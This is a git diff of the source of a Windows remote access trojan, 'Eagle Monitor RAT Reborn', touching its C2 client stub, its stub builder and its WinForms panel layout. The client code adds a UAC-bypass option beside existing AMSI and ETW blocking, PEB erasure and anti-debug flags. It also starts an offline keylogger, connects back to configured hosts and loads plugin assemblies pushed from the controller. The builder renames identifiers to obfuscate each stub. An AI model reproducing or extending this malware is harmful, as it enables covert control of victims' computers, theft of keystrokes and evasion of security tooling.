diff --git a/Remote Access Tool/C2/client.cs b/Remote Access Tool/C2/client.cs
index abfdae44..0c527372 100644
--- a/Remote Access Tool/C2/client.cs
+++ b/Remote Access Tool/C2/client.cs
@@ -8,12 +8,14 @@
using System.Net.Sockets;
using System.IO.Compression;
using System.Collections.Generic;
+using System.Security.Principal;
//[assembly: System.Reflection.AssemblyVersion("1.0.0.1")]
//[assembly: System.Reflection.AssemblyFileVersion("1.0.0.1")]
//[assembly: System.Reflection.AssemblyTitle("%Client%")]
//[assembly: System.Reflection. AssemblyDescription("%Description")]
-[assembly: System.Runtime.Versioning.TargetFramework(".NETFramework,Version=v4.5", FrameworkDisplayName = ".NET Framework 4.5")]
-[assembly: ComVisible(false)]
+[assembly: global::System.Runtime.Versioning.TargetFrameworkAttribute(".NETFramework,Version=v4.5", FrameworkDisplayName = ".NET Framework 4.5")]
+//[assembly: System.Runtime.Versioning.TargetFramework(".NETFramework,Version=v4.5", FrameworkDisplayName = ".NET Framework 4.5")]
+//[assembly: ComVisible(false)]
//[assembly: System.Reflection.AssemblyProduct("%Product%")]
//[assembly: System.Reflection.AssemblyCopyright("%Copyright%")]
//[assembly: System.Reflection.AssemblyTrademark("%Trademark%")]
@@ -33,6 +35,7 @@ public static class Config
public static bool blockAMSI = false;
public static bool erasePEFromPEB = false;
public static bool antiDBG = false;
+ public static bool bypassUAC = false;
}
public class StarterClass
{
@@ -112,12 +115,23 @@ internal static void StartOfflineKeylogger()
internal static ClientHandler clientHandler;
+ internal static bool IsAdmin()
+ {
+ return new WindowsPrincipal(WindowsIdentity.GetCurrent()).IsInRole(WindowsBuiltInRole.Administrator);
+ }
+
[MTAThread]
public static void Main()
{
+ if (Config.bypassUAC && IsAdmin() == false)
+ {
+ Offline.Special.Parser.Parse(false, false, false, false, true);
+ NtTerminateProcess((IntPtr)(-1), 0);
+ }
+
Offline.Special.Parser.Parse(Config.blockAMSI, Config.blockETW, Config.erasePEFromPEB, Config.antiDBG);
- MakeInstall();
OneInstance();
+ MakeInstall();
clientHandler = new ClientHandler();
StartOfflineKeylogger();
@@ -128,7 +142,7 @@ public static void Main()
Config.hosts.Add(new Host(sp[0], sp[1]));
}
- clientHandler.ConnectStart();
+ ClientHandler.StartConnect(clientHandler);
new Thread(new ThreadStart(() => {
while (true)
@@ -146,21 +160,21 @@ public static void MakeInstall()
internal static class PacketHandler
{
- internal delegate void PluginDelegate(IPacket packet);
- internal static PluginDelegate pluginDelegate;
+ private delegate void LoadPluginAsync(IPacket packet);
+ private static LoadPluginAsync loadPluginAsync;
static PacketHandler()
{
- pluginDelegate = new PluginDelegate(LoadPlugin);
+ loadPluginAsync = new LoadPluginAsync(LoadPlugin);
}
- internal static void ParsePacket(IPacket packet)
+ internal static void HandlePacket(IPacket packet)
{
try
{
- switch (packet.packetType)
+ switch (packet.PacketType)
{
case PacketType.CONNECTED:
- StarterClass.clientHandler.baseIp = packet.baseIp;
+ StarterClass.clientHandler.baseIp = packet.BaseIp;
break;
case (PacketType.CLOSE_CLIENT):
@@ -172,7 +186,7 @@ internal static void ParsePacket(IPacket packet)
break;
default:
- pluginDelegate.BeginInvoke(packet, new AsyncCallback(EndLoadPlugin), null);
+ loadPluginAsync.BeginInvoke(packet, new AsyncCallback(EndLoadPlugin), null);
break;
}
@@ -180,118 +194,119 @@ internal static void ParsePacket(IPacket packet)
catch { }
}
- internal static void LoadPlugin(IPacket packet)
+ private static void LoadPlugin(IPacket packet)
{
- System.Reflection.Assembly assemblytoload = System.Reflection.Assembly.Load(Compressor.QuickLZ.Decompress(packet.plugin));
+ System.Reflection.Assembly assemblytoload = System.Reflection.Assembly.Load(Compressor.QuickLZ.Decompress(packet.Plugin));
System.Reflection.MethodInfo method = assemblytoload.GetType("Plugin.Launch").GetMethod("Main");
object obj = assemblytoload.CreateInstance(method.Name);
LoadingAPI loadingAPI = new LoadingAPI
{
- host = StarterClass.clientHandler.host,
- baseIp = StarterClass.clientHandler.baseIp,
+ Host = StarterClass.clientHandler.host,
+ BaseIp = StarterClass.clientHandler.baseIp,
HWID = StarterClass.clientHandler.HWID,
- key = Config.generalKey,
- currentPacket = packet,
+ Key = Config.generalKey,
+ CurrentPacket = packet,
};
method.Invoke(obj, new object[] { loadingAPI });
}
- public static void EndLoadPlugin(IAsyncResult ar)
+ private static void EndLoadPlugin(IAsyncResult ar)
{
- pluginDelegate.EndInvoke(ar);
+ loadPluginAsync.EndInvoke(ar);
}
}
}
internal class ClientHandler
{
+ static ClientHandler()
+ {
+ readDataAsync = new ReadDataAsync(Receive);
+ parsePacketAsync = new ParsePacketAsync(ParsePacket);
+ sendDataAsync = new SendDataAsync(Send);
+ connectAsync = new ConnectAsync(Connect);
+ }
+
+ private static readonly ReadDataAsync readDataAsync;
+ private static readonly ParsePacketAsync parsePacketAsync;
+ private static readonly ConnectAsync connectAsync;
+ private static readonly SendDataAsync sendDataAsync;
+
+ private delegate byte[] ReadDataAsync(ClientHandler clientHandler);
+ private delegate IPacket ParsePacketAsync(byte[] bufferPacket);
+ private delegate bool ConnectAsync(ClientHandler clientHandler);
+ private delegate int SendDataAsync(ClientHandler clientHandler, IPacket data);
+
+ #region "Non Static"
internal Host host { get; set; }
internal string HWID { get; set; }
internal string baseIp { get; set; }
private Socket socket { get; set; }
internal bool Connected { get; set; }
internal int indexHost { get; set; }
+ #endregion
- private delegate byte[] ReadDataAsync();
- private delegate IPacket ReadPacketAsync(byte[] bufferPacket);
- private delegate bool ConnectAsync();
- private delegate int SendDataAsync(IPacket data);
-
-
- private ReadDataAsync readDataAsync;
- private ReadPacketAsync readPacketAsync;
- private ConnectAsync connectAsync;
- private readonly SendDataAsync sendDataAsync;
-
-
- internal ClientHandler() : base()
- {
- readDataAsync = new ReadDataAsync(ReceiveData);
- readPacketAsync = new ReadPacketAsync(PacketParser);
- sendDataAsync = new SendDataAsync(SendData);
- }
-
- public void ConnectStart()
+ public static void StartConnect(ClientHandler clientHandler)
{
- if (indexHost == Config.hosts.Count)
- indexHost = 0;
+ if (clientHandler.indexHost == Config.hosts.Count)
+ clientHandler.indexHost = 0;
- host = Config.hosts[indexHost];
- indexHost++;
+ clientHandler.host = Config.hosts[clientHandler.indexHost];
+ clientHandler.indexHost++;
Thread.Sleep(125);
- connectAsync = new ConnectAsync(Connect);
- connectAsync.BeginInvoke(new AsyncCallback(EndConnect), null);
+ connectAsync.BeginInvoke(clientHandler, new AsyncCallback(EndConnect), clientHandler);
}
- private bool Connect()
+ private static bool Connect(ClientHandler clientHandler)
{
try
{
- socket = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);
- socket.SetSocketOption(SocketOptionLevel.Socket, SocketOptionName.KeepAlive, true);
- socket.Connect(host.host, host.port);
+ clientHandler.socket = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);
+ clientHandler.socket.SetSocketOption(SocketOptionLevel.Socket, SocketOptionName.KeepAlive, true);
+ clientHandler.socket.Connect(clientHandler.host.host, clientHandler.host.port);
return true;
}
catch { }
return false;
}
- public void EndConnect(IAsyncResult ar)
+ private static void EndConnect(IAsyncResult ar)
{
- Connected = connectAsync.EndInvoke(ar);
+ ClientHandler clientHandler = (ClientHandler)ar.AsyncState;
+ clientHandler.Connected = connectAsync.EndInvoke(ar);
- if (Connected)
+ if (clientHandler.Connected)
{
ConnectedPacket connectionPacket = new ConnectedPacket();
- this.HWID = connectionPacket.HWID;
- SendPacket(connectionPacket);
- Receive();
+ clientHandler.HWID = connectionPacket.HWID;
+ StartSendPacket(clientHandler, connectionPacket);
+ StartReceive(clientHandler);
}
else
{
- ConnectStart();
+ StartConnect(clientHandler);
}
}
- public void Receive()
+ private static void StartReceive(ClientHandler clientHandler)
{
- if (Connected)
- readDataAsync.BeginInvoke(new AsyncCallback(EndDataRead), null);
+ if (clientHandler.Connected)
+ readDataAsync.BeginInvoke(clientHandler, new AsyncCallback(EndReceive), clientHandler);
else
- ConnectStart();
+ StartConnect(clientHandler);
}
- private byte[] ReceiveData()
+ private static byte[] Receive(ClientHandler clientHandler)
{
try
{
int total = 0;
int recv;
byte[] header = new byte[5];
- socket.Poll(-1, SelectMode.SelectRead);
- recv = socket.Receive(header, 0, 5, 0);
+ clientHandler.socket.Poll(-1, SelectMode.SelectRead);
+ recv = clientHandler.socket.Receive(header, 0, 5, 0);
int size = BitConverter.ToInt32(new byte[4] { header[0], header[1], header[2], header[3] }, 0);
PacketType packetType = (PacketType)header[4];
@@ -300,7 +315,7 @@ private byte[] ReceiveData()
byte[] data = new byte[size];
while (total < size)
{
- recv = socket.Receive(data, total, dataleft, 0);
+ recv = clientHandler.socket.Receive(data, total, dataleft, 0);
total += recv;
dataleft -= recv;
}
@@ -309,49 +324,50 @@ private byte[] ReceiveData()
}
catch (Exception)
{
- Connected = false;
+ clientHandler.Connected = false;
return null;
}
}
- public void EndDataRead(IAsyncResult ar)
+ private static void EndReceive(IAsyncResult ar)
{
byte[] data = readDataAsync.EndInvoke(ar);
+ ClientHandler clientHandler = (ClientHandler)ar.AsyncState;
+ if (data != null && clientHandler.Connected)
+ parsePacketAsync.BeginInvoke(data, new AsyncCallback(EndParsePacket), clientHandler);
- if (data != null && Connected)
- readPacketAsync.BeginInvoke(data, new AsyncCallback(EndPacketRead), null);
-
- Receive();
+ StartReceive(clientHandler);
}
- private IPacket PacketParser(byte[] bufferPacket)
+ private static IPacket ParsePacket(byte[] bufferPacket)
{
return bufferPacket.DeserializePacket(Config.generalKey);
}
- public void EndPacketRead(IAsyncResult ar)
+ private static void EndParsePacket(IAsyncResult ar)
{
- IPacket packet = readPacketAsync.EndInvoke(ar);
- StarterClass.PacketHandler.ParsePacket(packet);
+ IPacket packet = parsePacketAsync.EndInvoke(ar);
+ StarterClass.PacketHandler.HandlePacket(packet);
}
- public void SendPacket(IPacket packet)
+ private static void StartSendPacket(ClientHandler clientHandler, IPacket packet)
{
- if (Connected)
- sendDataAsync.BeginInvoke(packet, new AsyncCallback(SendDataCompleted), null);
+ if (clientHandler.Connected)
+ sendDataAsync.BeginInvoke(clientHandler, packet, new AsyncCallback(EndSendPacket), clientHandler);
}
- private int SendData(IPacket data)
+
+ private static int Send(ClientHandler clientHandler, IPacket data)
{
try
{
byte[] encryptedData = data.SerializePacket(Config.generalKey);
- lock (socket)
+ lock (clientHandler.socket)
{
int total = 0;
int size = encryptedData.Length;
int datalft = size;
byte[] header = new byte[5];
- socket.Poll(-1, SelectMode.SelectWrite);
+ clientHandler.socket.Poll(-1, SelectMode.SelectWrite);
byte[] temp = BitConverter.GetBytes(size);
@@ -359,9 +375,9 @@ private int SendData(IPacket data)
header[1] = temp[1];
header[2] = temp[2];
header[3] = temp[3];
- header[4] = (byte)data.packetType;
+ header[4] = (byte)data.PacketType;
- int sent = socket.Send(header);
+ int sent = clientHandler.socket.Send(header);
if (size > 1000000)
{
@@ -372,7 +388,7 @@ private int SendData(IPacket data)
byte[] chunk = new byte[50 * 1000];
while ((read = memoryStream.Read(chunk, 0, chunk.Length)) > 0)
{
- socket.Send(chunk, 0, read, SocketFlags.None);
+ clientHandler.socket.Send(chunk, 0, read, SocketFlags.None);
}
}
}
@@ -380,7 +396,7 @@ private int SendData(IPacket data)
{
while (total < size)
{
- sent = socket.Send(encryptedData, total, size, SocketFlags.None);
+ sent = clientHandler.socket.Send(encryptedData, total, size, SocketFlags.None);
total += sent;
datalft -= sent;
}
@@ -390,14 +406,15 @@ private int SendData(IPacket data)
}
catch (Exception)
{
- Connected = false;
+ clientHandler.Connected = false;
return 0;
}
}
- private void SendDataCompleted(IAsyncResult ar)
+ private static void EndSendPacket(IAsyncResult ar)
{
int length = sendDataAsync.EndInvoke(ar);
- if (Connected)
+ ClientHandler clientHandler = (ClientHandler)ar.AsyncState;
+ if (clientHandler.Connected)
{
return;
}
diff --git a/Remote Access Tool/C2/obj/Release/.NETFramework,Version=v4.5.AssemblyAttributes.cs b/Remote Access Tool/C2/obj/Release/.NETFramework,Version=v4.5.AssemblyAttributes.cs
index 0bcb79a0..c7f2c837 100644
--- a/Remote Access Tool/C2/obj/Release/.NETFramework,Version=v4.5.AssemblyAttributes.cs
+++ b/Remote Access Tool/C2/obj/Release/.NETFramework,Version=v4.5.AssemblyAttributes.cs
@@ -1,4 +1,3 @@
//
using System;
using System.Reflection;
-//[assembly: global::System.Runtime.Versioning.TargetFrameworkAttribute(".NETFramework,Version=v4.5", FrameworkDisplayName = ".NET Framework 4.5")]
diff --git a/Remote Access Tool/C2/obj/Release/C2.csproj.AssemblyReference.cache b/Remote Access Tool/C2/obj/Release/C2.csproj.AssemblyReference.cache
index 0b857c6f..389e5492 100644
Binary files a/Remote Access Tool/C2/obj/Release/C2.csproj.AssemblyReference.cache and b/Remote Access Tool/C2/obj/Release/C2.csproj.AssemblyReference.cache differ
diff --git a/Remote Access Tool/C2/obj/Release/C2.csproj.CoreCompileInputs.cache b/Remote Access Tool/C2/obj/Release/C2.csproj.CoreCompileInputs.cache
index 32bf6e89..3cb8654e 100644
--- a/Remote Access Tool/C2/obj/Release/C2.csproj.CoreCompileInputs.cache
+++ b/Remote Access Tool/C2/obj/Release/C2.csproj.CoreCompileInputs.cache
@@ -1 +1 @@
-105dcd742de8ee0e0a6fddc63b452b7228bc3b02
+cda5eb7bc6e232f33e621e1a1a38483d03ae39f6
diff --git a/Remote Access Tool/C2/obj/Release/C2.exe b/Remote Access Tool/C2/obj/Release/C2.exe
index 3301a451..95fa6f8f 100644
Binary files a/Remote Access Tool/C2/obj/Release/C2.exe and b/Remote Access Tool/C2/obj/Release/C2.exe differ
diff --git a/Remote Access Tool/C2/obj/Release/C2.pdb b/Remote Access Tool/C2/obj/Release/C2.pdb
index 8cc1ccf7..5539b988 100644
Binary files a/Remote Access Tool/C2/obj/Release/C2.pdb and b/Remote Access Tool/C2/obj/Release/C2.pdb differ
diff --git a/Remote Access Tool/C2/obj/Release/DesignTimeResolveAssemblyReferences.cache b/Remote Access Tool/C2/obj/Release/DesignTimeResolveAssemblyReferences.cache
index 120bd9e6..55ff1621 100644
Binary files a/Remote Access Tool/C2/obj/Release/DesignTimeResolveAssemblyReferences.cache and b/Remote Access Tool/C2/obj/Release/DesignTimeResolveAssemblyReferences.cache differ
diff --git a/Remote Access Tool/Eagle Monitor RAT Reborn/Builder/StubBuilder.cs b/Remote Access Tool/Eagle Monitor RAT Reborn/Builder/StubBuilder.cs
index 365542a7..56eefbe5 100644
--- a/Remote Access Tool/Eagle Monitor RAT Reborn/Builder/StubBuilder.cs
+++ b/Remote Access Tool/Eagle Monitor RAT Reborn/Builder/StubBuilder.cs
@@ -95,6 +95,13 @@ internal static bool BuildClient()
else
LogStep("Skipping anti-debug..." + Environment.NewLine);
+ if (Program.mainForm.bypassICMLuaUtilGuna2CheckBox.Checked)
+ {
+ LogStep("Setting bypass uac..." + Environment.NewLine);
+ stub = stub.Replace("bypassUAC = false;", "bypassUAC = true;");
+ }
+ else
+ LogStep("Skipping bypass uac..." + Environment.NewLine);
LogStep("Renaming code..." + Environment.NewLine);
@@ -110,32 +117,46 @@ internal static bool BuildClient()
stub = Rename(stub, "MakeInstall");
stub = Rename(stub, "StartOfflineKeylogger");
stub = Rename(stub, "DomCheck");
- stub = Rename(stub, "ConnectStart");
- stub = Rename(stub, "EndLoadPlugin");
- stub = Rename(stub, "LoadPlugin");
- stub = Rename(stub, "SendPacket");
- stub = Rename(stub, "PacketHandler");
- stub = Rename(stub, "ParsePacket");
- stub = Rename(stub, "ReceiveData");
- stub = Rename(stub, "EndDataRead");
- stub = Rename(stub, "PacketParser");
- stub = Rename(stub, "EndPacketRead");
- stub = Rename(stub, "SendDataCompleted");
- stub = Rename(stub, "EndConnect");
- //
+
+ //Delegates
stub = Rename(stub, "ReadDataAsync");
stub = Rename(stub, "readDataAsync");
- stub = Rename(stub, "ReadPacketAsync");
- stub = Rename(stub, "readPacketAsync");
+ stub = Rename(stub, "ParsePacketAsync");
+ stub = Rename(stub, "parsePacketAsync");
stub = Rename(stub, "ConnectAsync");
stub = Rename(stub, "connectAsync");
stub = Rename(stub, "SendDataAsync");
stub = Rename(stub, "sendDataAsync");
- stub = Rename(stub, "SendData");
- //
+
+ stub = Rename(stub, "LoadPluginAsync");
+ stub = Rename(stub, "loadPluginAsync");
+ //Methods
+ stub = Rename(stub, "StartConnect");
+ stub = Rename(stub, "EndConnect");
+
+ stub = Rename(stub, "StartReceive");
+ stub = Rename(stub, "EndReceive");
+
+ stub = Rename(stub, "LoadPlugin");
+ stub = Rename(stub, "EndLoadPlugin");
+
+ stub = Rename(stub, "ParsePacket");
+ stub = Rename(stub, "EndParsePacket");
+
+ stub = Rename(stub, "StartSendPacket");
+ stub = Rename(stub, "EndSendPacket");
+
+ //Class
+ stub = Rename(stub, "PacketHandler");
+ stub = Rename(stub, "HandlePacket");
+
+ stub = Rename(stub, "ClientHandler");
+ stub = Rename(stub, "clientHandler");
+
+ //Options
stub = Rename(stub, "offKeylog");
stub = Rename(stub, "antiDBG");
stub = Rename(stub, "erasePEFromPEB");
diff --git a/Remote Access Tool/Eagle Monitor RAT Reborn/Controls/ClientForm.Designer.cs b/Remote Access Tool/Eagle Monitor RAT Reborn/Controls/ClientForm.Designer.cs
index 9beb5b1d..984c831a 100644
--- a/Remote Access Tool/Eagle Monitor RAT Reborn/Controls/ClientForm.Designer.cs
+++ b/Remote Access Tool/Eagle Monitor RAT Reborn/Controls/ClientForm.Designer.cs
@@ -82,15 +82,18 @@ private void InitializeComponent()
System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle51 = new System.Windows.Forms.DataGridViewCellStyle();
System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle50 = new System.Windows.Forms.DataGridViewCellStyle();
System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle52 = new System.Windows.Forms.DataGridViewCellStyle();
- System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle55 = new System.Windows.Forms.DataGridViewCellStyle();
- System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle53 = new System.Windows.Forms.DataGridViewCellStyle();
System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle54 = new System.Windows.Forms.DataGridViewCellStyle();
- System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle56 = new System.Windows.Forms.DataGridViewCellStyle();
+ System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle55 = new System.Windows.Forms.DataGridViewCellStyle();
System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle58 = new System.Windows.Forms.DataGridViewCellStyle();
+ System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle56 = new System.Windows.Forms.DataGridViewCellStyle();
System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle57 = new System.Windows.Forms.DataGridViewCellStyle();
System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle59 = new System.Windows.Forms.DataGridViewCellStyle();
System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle61 = new System.Windows.Forms.DataGridViewCellStyle();
System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle60 = new System.Windows.Forms.DataGridViewCellStyle();
+ System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle62 = new System.Windows.Forms.DataGridViewCellStyle();
+ System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle64 = new System.Windows.Forms.DataGridViewCellStyle();
+ System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle63 = new System.Windows.Forms.DataGridViewCellStyle();
+ System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle53 = new System.Windows.Forms.DataGridViewCellStyle();
this.closeGuna2ControlBox = new Guna.UI2.WinForms.Guna2ControlBox();
this.maximizeGuna2ControlBox = new Guna.UI2.WinForms.Guna2ControlBox();
this.minimizeGuna2ControlBox = new Guna.UI2.WinForms.Guna2ControlBox();
@@ -268,14 +271,16 @@ private void InitializeComponent()
this.panel12 = new System.Windows.Forms.Panel();
this.keyloggerGuna2Button = new Guna.UI2.WinForms.Guna2Button();
this.tabPage17 = new System.Windows.Forms.TabPage();
+ this.informationGuna2TabControl = new Guna.UI2.WinForms.Guna2TabControl();
+ this.tabPage30 = new System.Windows.Forms.TabPage();
+ this.retrieveInformationGuna2Button = new Guna.UI2.WinForms.Guna2Button();
+ this.panel22 = new System.Windows.Forms.Panel();
this.guna2GroupBox2 = new Guna.UI2.WinForms.Guna2GroupBox();
this.panel16 = new System.Windows.Forms.Panel();
this.guna2VScrollBar11 = new Guna.UI2.WinForms.Guna2VScrollBar();
this.systemInformationDataGridView = new System.Windows.Forms.DataGridView();
this.Column40 = new System.Windows.Forms.DataGridViewTextBoxColumn();
this.Column41 = new System.Windows.Forms.DataGridViewTextBoxColumn();
- this.retrieveInformationGuna2Button = new Guna.UI2.WinForms.Guna2Button();
- this.panel11 = new System.Windows.Forms.Panel();
this.guna2GroupBox1 = new Guna.UI2.WinForms.Guna2GroupBox();
this.panel15 = new System.Windows.Forms.Panel();
this.componentsDataGridView = new System.Windows.Forms.DataGridView();
@@ -288,6 +293,10 @@ private void InitializeComponent()
this.Column37 = new System.Windows.Forms.DataGridViewTextBoxColumn();
this.guna2VScrollBar9 = new Guna.UI2.WinForms.Guna2VScrollBar();
this.panel14 = new System.Windows.Forms.Panel();
+ this.tabPage31 = new System.Windows.Forms.TabPage();
+ this.guna2VScrollBar15 = new Guna.UI2.WinForms.Guna2VScrollBar();
+ this.networkInformationDataGridView = new System.Windows.Forms.DataGridView();
+ this.retrieveNetworkGuna2Button = new Guna.UI2.WinForms.Guna2Button();
this.tabPage18 = new System.Windows.Forms.TabPage();
this.panel18 = new System.Windows.Forms.Panel();
this.panel19 = new System.Windows.Forms.Panel();
@@ -375,6 +384,11 @@ private void InitializeComponent()
this.bytesReceivedLabel = new System.Windows.Forms.Label();
this.panel7 = new System.Windows.Forms.Panel();
this.toolTip1 = new System.Windows.Forms.ToolTip(this.components);
+ this.Column48 = new System.Windows.Forms.DataGridViewTextBoxColumn();
+ this.Column49 = new System.Windows.Forms.DataGridViewTextBoxColumn();
+ this.Column50 = new System.Windows.Forms.DataGridViewTextBoxColumn();
+ this.Column51 = new System.Windows.Forms.DataGridViewTextBoxColumn();
+ this.Column52 = new System.Windows.Forms.DataGridViewTextBoxColumn();
this.mainGuna2TabControl.SuspendLayout();
this.tabPage1.SuspendLayout();
this.recoveryGuna2TabControl.SuspendLayout();
@@ -439,6 +453,8 @@ private void InitializeComponent()
this.importLibContextMenuStrip.SuspendLayout();
this.tabPage16.SuspendLayout();
this.tabPage17.SuspendLayout();
+ this.informationGuna2TabControl.SuspendLayout();
+ this.tabPage30.SuspendLayout();
this.guna2GroupBox2.SuspendLayout();
this.panel16.SuspendLayout();
((System.ComponentModel.ISupportInitialize)(this.systemInformationDataGridView)).BeginInit();
@@ -447,6 +463,8 @@ private void InitializeComponent()
((System.ComponentModel.ISupportInitialize)(this.componentsDataGridView)).BeginInit();
this.panel13.SuspendLayout();
((System.ComponentModel.ISupportInitialize)(this.cpuDataGridView)).BeginInit();
+ this.tabPage31.SuspendLayout();
+ ((System.ComponentModel.ISupportInitialize)(this.networkInformationDataGridView)).BeginInit();
this.tabPage18.SuspendLayout();
this.panel18.SuspendLayout();
this.panel19.SuspendLayout();
@@ -2963,18 +2981,85 @@ private void InitializeComponent()
//
// tabPage17
//
- this.tabPage17.Controls.Add(this.guna2GroupBox2);
- this.tabPage17.Controls.Add(this.retrieveInformationGuna2Button);
- this.tabPage17.Controls.Add(this.panel11);
- this.tabPage17.Controls.Add(this.guna2GroupBox1);
+ this.tabPage17.Controls.Add(this.informationGuna2TabControl);
this.tabPage17.Location = new System.Drawing.Point(4, 44);
this.tabPage17.Name = "tabPage17";
- this.tabPage17.Padding = new System.Windows.Forms.Padding(0, 40, 0, 0);
this.tabPage17.Size = new System.Drawing.Size(1083, 426);
this.tabPage17.TabIndex = 3;
this.tabPage17.Text = "Information";
this.tabPage17.UseVisualStyleBackColor = true;
//
+ // informationGuna2TabControl
+ //
+ this.informationGuna2TabControl.Controls.Add(this.tabPage30);
+ this.informationGuna2TabControl.Controls.Add(this.tabPage31);
+ this.informationGuna2TabControl.Dock = System.Windows.Forms.DockStyle.Fill;
+ this.informationGuna2TabControl.ItemSize = new System.Drawing.Size(180, 40);
+ this.informationGuna2TabControl.Location = new System.Drawing.Point(0, 0);
+ this.informationGuna2TabControl.Name = "informationGuna2TabControl";
+ this.informationGuna2TabControl.SelectedIndex = 0;
+ this.informationGuna2TabControl.Size = new System.Drawing.Size(1083, 426);
+ this.informationGuna2TabControl.TabButtonHoverState.BorderColor = System.Drawing.Color.Empty;
+ this.informationGuna2TabControl.TabButtonHoverState.FillColor = System.Drawing.Color.Gainsboro;
+ this.informationGuna2TabControl.TabButtonHoverState.Font = new System.Drawing.Font("Segoe UI Semibold", 10F);
+ this.informationGuna2TabControl.TabButtonHoverState.ForeColor = System.Drawing.Color.White;
+ this.informationGuna2TabControl.TabButtonHoverState.InnerColor = System.Drawing.Color.FromArgb(((int)(((byte)(205)))), ((int)(((byte)(151)))), ((int)(((byte)(249)))));
+ this.informationGuna2TabControl.TabButtonIdleState.BorderColor = System.Drawing.Color.Empty;
+ this.informationGuna2TabControl.TabButtonIdleState.FillColor = System.Drawing.Color.White;
+ this.informationGuna2TabControl.TabButtonIdleState.Font = new System.Drawing.Font("Segoe UI Semibold", 10F);
+ this.informationGuna2TabControl.TabButtonIdleState.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(156)))), ((int)(((byte)(160)))), ((int)(((byte)(167)))));
+ this.informationGuna2TabControl.TabButtonIdleState.InnerColor = System.Drawing.Color.FromArgb(((int)(((byte)(235)))), ((int)(((byte)(235)))), ((int)(((byte)(235)))));
+ this.informationGuna2TabControl.TabButtonSelectedState.BorderColor = System.Drawing.Color.Empty;
+ this.informationGuna2TabControl.TabButtonSelectedState.FillColor = System.Drawing.Color.FromArgb(((int)(((byte)(240)))), ((int)(((byte)(240)))), ((int)(((byte)(240)))));
+ this.informationGuna2TabControl.TabButtonSelectedState.Font = new System.Drawing.Font("Segoe UI Semibold", 10F);
+ this.informationGuna2TabControl.TabButtonSelectedState.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(115)))), ((int)(((byte)(115)))), ((int)(((byte)(115)))));
+ this.informationGuna2TabControl.TabButtonSelectedState.InnerColor = System.Drawing.Color.FromArgb(((int)(((byte)(205)))), ((int)(((byte)(151)))), ((int)(((byte)(249)))));
+ this.informationGuna2TabControl.TabButtonSize = new System.Drawing.Size(180, 40);
+ this.informationGuna2TabControl.TabIndex = 36;
+ this.informationGuna2TabControl.TabMenuBackColor = System.Drawing.Color.White;
+ this.informationGuna2TabControl.TabMenuOrientation = Guna.UI2.WinForms.TabMenuOrientation.HorizontalTop;
+ //
+ // tabPage30
+ //
+ this.tabPage30.BackColor = System.Drawing.Color.White;
+ this.tabPage30.Controls.Add(this.retrieveInformationGuna2Button);
+ this.tabPage30.Controls.Add(this.panel22);
+ this.tabPage30.Controls.Add(this.guna2GroupBox2);
+ this.tabPage30.Controls.Add(this.guna2GroupBox1);
+ this.tabPage30.Location = new System.Drawing.Point(4, 44);
+ this.tabPage30.Name = "tabPage30";
+ this.tabPage30.Padding = new System.Windows.Forms.Padding(0, 40, 0, 0);
+ this.tabPage30.Size = new System.Drawing.Size(1075, 378);
+ this.tabPage30.TabIndex = 0;
+ this.tabPage30.Text = "System";
+ //
+ // retrieveInformationGuna2Button
+ //
+ this.retrieveInformationGuna2Button.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Left)
+ | System.Windows.Forms.AnchorStyles.Right)));
+ this.retrieveInformationGuna2Button.Animated = true;
+ this.retrieveInformationGuna2Button.DisabledState.BorderColor = System.Drawing.Color.DarkGray;
+ this.retrieveInformationGuna2Button.DisabledState.CustomBorderColor = System.Drawing.Color.DarkGray;
+ this.retrieveInformationGuna2Button.DisabledState.FillColor = System.Drawing.Color.FromArgb(((int)(((byte)(169)))), ((int)(((byte)(169)))), ((int)(((byte)(169)))));
+ this.retrieveInformationGuna2Button.DisabledState.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(141)))), ((int)(((byte)(141)))), ((int)(((byte)(141)))));
+ this.retrieveInformationGuna2Button.FillColor = System.Drawing.Color.FromArgb(((int)(((byte)(205)))), ((int)(((byte)(151)))), ((int)(((byte)(249)))));
+ this.retrieveInformationGuna2Button.Font = new System.Drawing.Font("Segoe UI", 9F);
+ this.retrieveInformationGuna2Button.ForeColor = System.Drawing.Color.White;
+ this.retrieveInformationGuna2Button.Location = new System.Drawing.Point(2, 3);
+ this.retrieveInformationGuna2Button.Name = "retrieveInformationGuna2Button";
+ this.retrieveInformationGuna2Button.Size = new System.Drawing.Size(1071, 33);
+ this.retrieveInformationGuna2Button.TabIndex = 35;
+ this.retrieveInformationGuna2Button.Text = "Retrieve information";
+ this.retrieveInformationGuna2Button.Click += new System.EventHandler(this.retrieveInformationGuna2Button_Click);
+ //
+ // panel22
+ //
+ this.panel22.Dock = System.Windows.Forms.DockStyle.Left;
+ this.panel22.Location = new System.Drawing.Point(571, 40);
+ this.panel22.Name = "panel22";
+ this.panel22.Size = new System.Drawing.Size(6, 338);
+ this.panel22.TabIndex = 11;
+ //
// guna2GroupBox2
//
this.guna2GroupBox2.BorderColor = System.Drawing.Color.FromArgb(((int)(((byte)(240)))), ((int)(((byte)(240)))), ((int)(((byte)(240)))));
@@ -2984,10 +3069,10 @@ private void InitializeComponent()
this.guna2GroupBox2.Dock = System.Windows.Forms.DockStyle.Fill;
